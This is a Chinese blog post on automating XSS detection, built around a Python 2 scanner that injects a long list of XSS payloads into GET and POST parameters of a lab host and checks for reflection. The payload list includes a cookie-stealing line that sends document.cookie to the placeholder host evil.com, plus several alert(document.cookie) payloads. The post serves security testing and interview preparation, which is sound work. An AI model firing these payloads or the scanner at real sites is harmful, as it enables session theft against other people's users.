關(guān)于自動(dòng)化xss漏洞盲打

0x01 原因


只要你面試安全開發(fā),妥妥的問(wèn)的問(wèn)題就是一些常規(guī)的漏洞檢測(cè)技術(shù),其中xss算是一類吧,而且絕對(duì)問(wèn)的。每次都會(huì)有人問(wèn)這個(gè)問(wèn)題,我也沒(méi)次都需要一個(gè)個(gè)解答。剛好想總結(jié)下自己的工作,so,把這塊的一些東西弄出來(lái)分享下。

0x02 技術(shù)


XSS的類型在這我就不展開來(lái)講,主要講關(guān)于自動(dòng)化測(cè)試的這塊。

  • v1.0 傳統(tǒng)的測(cè)試方式比較簡(jiǎn)單,就是http請(qǐng)求測(cè)試,直接請(qǐng)求url,post的直接將參數(shù)拼接,構(gòu)造payload,然后請(qǐng)求就ok了。這個(gè)版本沒(méi)啥可說(shuō)的,基本上大家都知道。
  • v2.0 的版本是基于ajax的請(qǐng)求,將頁(yè)面完全加載完后,模擬操作執(zhí)行。這個(gè)比較有意思,之前在wooyun上,小伙伴就經(jīng)常問(wèn)針對(duì)ajax應(yīng)該怎么做。在360的面試?yán)锩妫?dāng)時(shí)那個(gè)負(fù)責(zé)人提供的方法是基于webkit做調(diào)用,但是測(cè)試的結(jié)果是,有一定的概率會(huì)卡住。so,這個(gè)我默認(rèn)放棄。而我選擇用的方式,是基于無(wú)瀏覽器的方式來(lái)進(jìn)行。相對(duì)來(lái)說(shuō)比較好,在centos的服務(wù)器上,我掛了一個(gè),然后無(wú)差別的去測(cè)試自己的業(yè)務(wù),結(jié)果挺理想的。(分享一個(gè)案例代碼,根據(jù)自己的需要,融合到自己的掃描器就好)

0x03 coding


#coding:utf-8
 
import random , requests , copy ,urlparse, urllib , pprint
 
_random=str(random.randint(300,182222))
 
# XSS規(guī)則
XSS_Rule = {
    "script":[
            "<script>alert("+_random+");</script>",
            "<script>alert('XSS');</script>",
            "<script>location.href=\"http://www.evil.com/cookie.php?cookie=\"+escape(document.cookie)</script>",
            "<scr<script>ipt>alert("+_random+");</scr</script>ipt>",
            "<script>alert(String.fromCharCode(88,83,83))</script>",
            "\"><script>alert("+_random+")</script>",
            "</title><script>alert(/"+_random+"/)</script>",
            "</textarea><script>alert(/"+_random+"/)</script>",
            "<? echo('<scr');echo('ipt>alert(\""+_random+"\")</script');?>",
            "<marquee><script>alert('"+_random+"')</script></marquee>",
            "<script language=\"JavaScript\">alert('"+_random+"')</script>",
            "\"><script alert(String.fromCharCode(88,83,83))</script>",
            "\'\">><script>alert('"+_random+"')</script>",
            "<script>var var="+_random+";alert(var)</script>", 
            "<?='<SCRIPT>alert(\""+_random+"\")</SCRIPT>'?>",
            "<scrscriptipt>alert("+_random+")</scrscriptipt>",
            "</script><script>alert("+_random+")</script>",
            "'\"></title><script>alert("+_random+")</script>",
            "</textarea>\'\"><script>alert(document.cookie)</script>",
            "'\"\"><script language=\"JavaScript\">alert('XS');</script>",
            "</script></script><<<<script><>>>><<<script>alert("+_random+")</script>",
            "<html><noalert><noscript>alert("+_random+")</script>",
            "}</style><script>a=eval;a=eval;b=alert;a(b(/"+_random+"/.source));</script>",
            "<SCRIPT>document.write(\""+_random+"\");</SCRIPT>",
            "='><script>alert(\""+_random+"\")</script>",
            "<body background=javascript:'\"><script>alert(navigator.userAgent)</script></body>",
            ">\"><script>alert(/"+_random+"/)</script>",
            "\"></title><script>alert("+_random+")</script>",
            "</div><script>alert("+_random+")</script>",
            "\"></iframe><script>alert("+_random+")</script>",
            "'></select><script>alert("+_random+")</script>",
    ],
    "img":
    [
            "<img src=foo.png onerror=alert(/"+_random+"/) />",
            "<IMG SRC=\"jav&#x09;ascript:alert('"+_random+"');\">",
            "<IMG SRC=\"jav&#x0A;ascript:alert('"+_random+"');\">",
            "<IMG SRC=\"jav&#x0D;ascript:alert('"+_random+"');\">",
            "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
            "<IMG LOWSRC=\"javascript:alert('"+_random+"')\">",
            "<IMG DYNSRC=\"javascript:alert('"+_random+"')\">",
            "<img src=\"javascript:alert('"+_random+"')\">",
            "<IMG SRC='vbscript:msgbox(\""+_random+"\")'>",
            "\"<marquee><img src=k.png onerror=alert(/"+_random+"/) />",
            "\"<marquee><img src=k onerror=alert(/"+_random+"/) />",
            "'\"><marquee><img src=k.png onerror=alert(/"+_random+"/.source) />",
            "<img src=\"javascript:alert(\""+_random+"\")\">",
            ">\"><img src=\"javascript:alert('"+_random+"')\">",
            "\"/></a></><img src=1.gif onerror=alert("+_random+")>",
            "window.alert(\""+_random+"\");",
    ],
    "iframe":
    [
        "<iframe<?php echo chr(11)?>onload=alert('"+_random+"')></iframe>",
        "\"><iframe src='javascript:alert(document.cookie)'></iframe>",
    ],
    "marquee":
    [
        "'>><marquee><h1>"+_random+"</h1></marquee>",
        "\'\">><marquee><h1>"+_random+"</h1></marquee>",
    ],
    "attr-style":
    [
        "<font style='color:expression(alert(document.cookie))'>",
        "<div style=\"x:expression((windows.r==1)?\":eval('r=1;alert(String.fromCharCode(88,83,83));'))\">",
        "<div style=\"background:url('javascript:alert("+_random+")')\">",
        "\" style=\"background:url(javascript:alert(/"+_random+"/))\"",
        "</br style=a:expression(alert())>",
    ],
    "event":
    [
        "<body onunload=\"javascript:alert('"+_random+"');\">",
        "<body onLoad=\"alert('"+_random+"');\">",
        "\" onfous=alert(document.domain)\"><\"",
        "\"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\""+_random+"\")>",
        "<body onLoad=\"while(true) alert('"+_random+"');\">",
        "<SELECT NAME=\"\" onmouseover=alert("+_random+")></select>",
        "'\"></title><font color=red onmouseover=javascript:alert(1337)>"+_random+"</font>",
    ],
    "meta":
    [
        "<META HTTP-EQUIV='refresh' CONTENT='0;url=javascript:alert(/"+_random+"/');\">",
        "<META HTTP-EQUIV='refresh' CONTENT='0;URL=http://;URL=javascript:alert(/"+_random+"/);'>",
    ],
    "base":
    [
        "<BASE HREF=\"javascript:alert('"+_random+"');//\">",
    ],
    "frameset":
    [
        "<FRAMESET><FRAME SRC=\"javascript:alert('"+_random+"');\"></FRAMESET>", 
    ],
    "other":
    [
        "[url=javascript:alert('"+_random+"');]click me[/url]",
        "[color=red' onmouseover=\"alert('"+_random+"')\"]mouse over[/color]",
        "[color=red width=expression(alert("+_random+"))][color]",
    ]
}
 
# 鏈接拼接(針對(duì)get)
def _init_get_url(url_group,rules,check_group):
    for _url_item in url_group:
        url_node = urlparse.urlparse(_url_item)
        uquery = url_node.query
        url_parse = _url_item.replace('?'+uquery, '')
        query_dict = dict(urlparse.parse_qsl(uquery))
 
        for rule_item in rules.keys():
            for _rule in rules[rule_item]:
                for parameter_item in query_dict.keys():
                    tmp_dict = copy.deepcopy(query_dict)
                    tmp_dict[parameter_item] = _rule
                    tmp_qs = urllib.unquote(urllib.urlencode(tmp_dict)).replace('+','%20')
                    check_group.append({'action':url_parse+"?"+tmp_qs,'input':None,'method':'get','regex':_rule})
 
# 請(qǐng)求拼接(post)
def _init_from_url(url_dict,rules,check_group):
    # 遍歷所有的請(qǐng)求
    for url_dict_item in url_dict:
        # 遍歷所有的規(guī)則
        for rule_group in rules.keys():
            input_dict = {}
            for rule_item in rules[rule_group]:
                for input_item in url_dict_item['input']:
                    input_dict.update({input_item:rule_item})
                check_group.append({'action':url_dict_item['action'],'input':input_dict,'method':url_dict_item['method'],'regex':rule_item})
                input_dict = {}
 
# 直接請(qǐng)求
def request_do(url,_data,_regex):
    TIMEOUT=5
    _bool = False
    try:
        if _data is not None:
            req = requests.post(url,data=_data,timeout=TIMEOUT)
        else:
            req = requests.get(url,timeout=TIMEOUT)
        req_result = ''.join(req.content.split('\n'))
        if req_result.find(_regex) != -1:
            _bool = True
    except Exception, e:
        return _bool
    return _bool
 
# 測(cè)試規(guī)則
def xss_check(check_group):
    for target in check_group:
        if target['method'].lower() =='get':
            if request_do(target['action'],None,target['regex']):
                print "[*][GET] Find XSS: %s" % target['action']
        elif target['method'].lower() == 'post':
            if request_do(target['action'],target['input'],target['regex']):
                print "[*][POST] Find XSS: %s,Parameter: (%s)" % (target['action'],str(target['input']))
 
# 拼接請(qǐng)求
def opurl():
    check_group = []
    _init_get_url(['http://10.211.55.7/search/search.php?lang=cn'],XSS_Rule,check_group)
    _init_from_url([{'action':'http://10.211.55.7/b.php','input':['bfname','blname'],'method':'post'}],XSS_Rule,check_group)
    xss_check(check_group)
 
 
 
if __name__ == '__main__':
    opurl()
    # run("http://10.211.55.7/b.php",['bfname','blname'])
    # run("http://10.211.55.7/search/search.php?key=dede&x=24&y=11&lang=cn")
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 229,963評(píng)論 6 542
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 99,348評(píng)論 3 429
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人,你說(shuō)我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 178,083評(píng)論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我,道長(zhǎng),這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,706評(píng)論 1 317
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 72,442評(píng)論 6 412
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 55,802評(píng)論 1 328
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,795評(píng)論 3 446
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,983評(píng)論 0 290
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 49,542評(píng)論 1 335
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 41,287評(píng)論 3 358
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 43,486評(píng)論 1 374
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,030評(píng)論 5 363
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,710評(píng)論 3 348
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,116評(píng)論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,412評(píng)論 1 294
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 52,224評(píng)論 3 398
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 48,462評(píng)論 2 378

推薦閱讀更多精彩內(nèi)容

  • 本博客轉(zhuǎn)自:「作者:若愚鏈接:https://zhuanlan.zhihu.com/p/22361337來(lái)源:知乎...
    韓寶億閱讀 2,780評(píng)論 0 3
  • Android 自定義View的各種姿勢(shì)1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,721評(píng)論 25 708
  • 之前積累了XSS 有一段時(shí)間,因?yàn)槟壳伴_始了一件有趣的工程,需要整合非常多的知識(shí),其中Web 安全這一塊出現(xiàn)最多的...
    刀背藏身閱讀 9,123評(píng)論 0 16
  • 標(biāo)題:Mood Indigo 芳心之歌 原文地址:http://archiveofourown.org/works...
    111避難所閱讀 400評(píng)論 0 0
  • 雨后的薄荷,散發(fā)著的氣息 如此沁人心脾 我是那么在乎那個(gè)竹籃,它是個(gè)好東西 可以裝滿薄荷 可以打一籃空水 也可以裝...
    一言爾閱讀 157評(píng)論 0 0